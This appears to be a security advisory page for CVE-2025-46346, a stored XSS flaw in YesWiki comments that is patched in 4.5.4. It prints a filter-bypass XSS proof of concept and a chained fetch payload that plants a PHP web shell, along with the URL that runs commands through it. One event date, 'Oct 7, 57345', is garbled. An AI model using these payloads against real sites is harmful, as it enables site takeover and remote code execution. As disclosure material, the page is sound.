CVE-2025-46346: YesWiki Vulnerable to Stored XSS in Comments

Published Apr 29, 2025
·
Updated

Summary

A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.

The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like / JavaScriptPayload /.

PoC Navigate to a site and page that allows comments and place this in the comments section and submit it:

/<script>alert('pizzapower')</script>/

Upon submitting to the page, it will run. And then upon every page visit, it will run.

Impact

An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:

/<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>/

Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.

Other sources

YesWiki is a wiki system written in PHP. Prior to version 4.5.4, a stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment. The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like / JavaScriptPayload /. This issue has been patched in version 4.5.4.

MITRE

Affected Software

2 affected componentsFixes available
composer/yeswiki/yeswiki<=4.5.3
4.5.4
YesWiki YesWiki<4.5.4

Event History

Apr 29, 2025
Advisory Published
via GitHub·02:49 PM
CVE Published
via MITRE·03:36 PM
Data Sourced
via MITRE·03:36 PM
DescriptionWeakness
Oct 7, 57345
Event
via FIRST·08:57 PM

Frequently Asked Questions

1

What is the severity of CVE-2025-46346?

CVE-2025-46346 is classified as a medium severity stored cross-site scripting (XSS) vulnerability.

2

How do I fix CVE-2025-46346?

To fix CVE-2025-46346, upgrade the YesWiki package to version 4.5.4 or later.

3

What version of YesWiki is affected by CVE-2025-46346?

CVE-2025-46346 affects YesWiki versions up to and including 4.5.3.

4

What exploit does CVE-2025-46346 allow?

CVE-2025-46346 allows malicious actors to inject and execute JavaScript payloads through the application's comments feature.

5

Is CVE-2025-46346 easy to exploit?

CVE-2025-46346 can be considered easy to exploit, particularly for users with access to post comments in the affected application.

Contact

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